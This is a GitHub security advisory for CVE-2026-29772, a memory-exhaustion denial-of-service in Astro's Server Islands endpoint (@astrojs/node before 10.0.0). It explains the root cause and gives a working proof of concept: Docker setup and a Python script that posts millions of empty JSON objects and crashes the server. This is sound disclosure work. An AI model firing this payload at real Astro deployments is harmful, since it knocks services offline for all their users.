GitHub Advisoryadvisory · npm
GHSA-3rmj-9m5h-8fpv Astro: Memory exhaustion DoS due to missing request body size limit in Server Islands
MEDIUM
Official page ↗
- Aliases
- CVE-2026-29772
- Ecosystem
- npm
- Packages
- @astrojs/node
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-770
- Reviewed
- 2026-03-24
Affected packages
• npm @astrojs/node: < 10.0.0 → fixed in 10.0.0
Description
Summary
Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because `JSON.parse()` allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The `/_server-islands/[name]` route is registered on all Astro SSR apps regardless of whether any component uses `server:defer`, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.
Details
Astro automatically registers a Server Islands route at `/_server-islands/[name]` on all SSR apps, regardless of whether any component uses `server:defer`. The POST handler in `packages/astro/src/core/server-islands/endpoint.ts` buffers the entire request body into memory and parses it as JSON with no size or depth limit:
```js
// packages/astro/src/core/server-islands/endpoint.ts (lines 55-56)
const raw = await request.text(); // full body buffered into memory — no size limit
const data = JSON.parse(raw); // parsed into V8 object graph — no element count limit
```
The request body is parsed before the island name is validated, so the attacker does not need to know any valid island name — `/_server-islands/anything` triggers the vulnerable code path. No authentication is required.
Additionally, `JSON.parse()` allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., `[{},{},{},...]`) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.
PoC
Environment: Astro 5.18.0, `@astrojs/node` 9.5.4, Node.js 22 with `--max-old-space-size=128`.
The app does not use `server:defer` — this is a minimal SSR setup with no server island components. The route is still registered and exploitable.
Setup files:
`package.json`:
```json
{
"name": "poc-server-islands-dos",
"scripts": {
"build": "astro build",
"start": "node --max-old-space-size=128 dist/server/entry.mjs"
},
"dependencies": {
"astro": "5.18.0",
"@astrojs/node": "9.5.4"
}
}
```
`astro.config.mjs`:
```js
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
});
```
`src/pages/index.astro`:
```astro
---
---
Astro App
Hello
Just a plain SSR page. No server islands.
```
`Dockerfile`:
```dockerfile
FROM node:22-slim
WORKDIR /app
COPY package.json .
RUN npm install
COPY . .
RUN npm run build
EXPOSE 4321
CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"]
```
`docker-compose.yml`:
```yaml
services:
astro:
build: .
ports:
• "4321:4321"
deploy:
resources:
limits:
memory: 256m
```
Reproduction:
```bash
Build and start
docker compose up -d
Verify server is running
curl http://localhost:4321/
=> 200 OK
```
`crash.py`:
```python
import requests
Any path under /_server-islands/ works — no valid island name needed
TARGET = "http://localhost:4321/_server-islands/x"
3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object
8.6 MB on wire → ~180+ MB heap allocation → exceeds 128 MB limit
n = 3_000_000
payload = '[' + ','.join(['{}'] * n) + ']'
print(f"Payload: {len(payload) / (1024*1024):.1f} MB")
try:
r = requests.post(TARGET, data=payload,
headers={"Content-Type": "application/json"}, timeout=30)
print(f"Status: {r.status_code}")
except requests.exceptions.ConnectionError:
print("Server crashed (OOM killed)")
```
```
$ python crash.py
Payload: 8.6 MB
Server crashed (OOM killed)
$ curl http://localhost:4321/
curl: (7) Failed to connect to localhost port 4321: Connection refused
$ docker compose ps
NAME IMAGE COMMAND SERVICE CREATED STATUS PORTS
(empty — container was OOM killed)
```
The server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop.
Impact
Any Astro SSR app with the Node standalone adapter is affected — the `/_server-islands/[name]` route is registered by default regardless of whether any component uses `server:defer`. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names — any value in the `[name]` parameter works because the body is parsed before the name is validated.
Related
Alias · CVE (1)
- CVE-2026-29772 Astro is a web framework. vulnerability
Weakness · CWE (1)
- CWE-770 Allocation of Resources Without Limits or Throttling weakness
References
- https://github.com/withastro/astro/security/advisories/GHSA-3rmj-9m5h-8fpv web
- https://nvd.nist.gov/vuln/detail/CVE-2026-29772 advisory
- https://github.com/withastro/astro/commit/f9ee8685dd26e9afeba3b48d41ad6714f624b12f web
- https://github.com/withastro/astro package
- https://github.com/withastro/astro/releases/tag/@astrojs/[email protected] web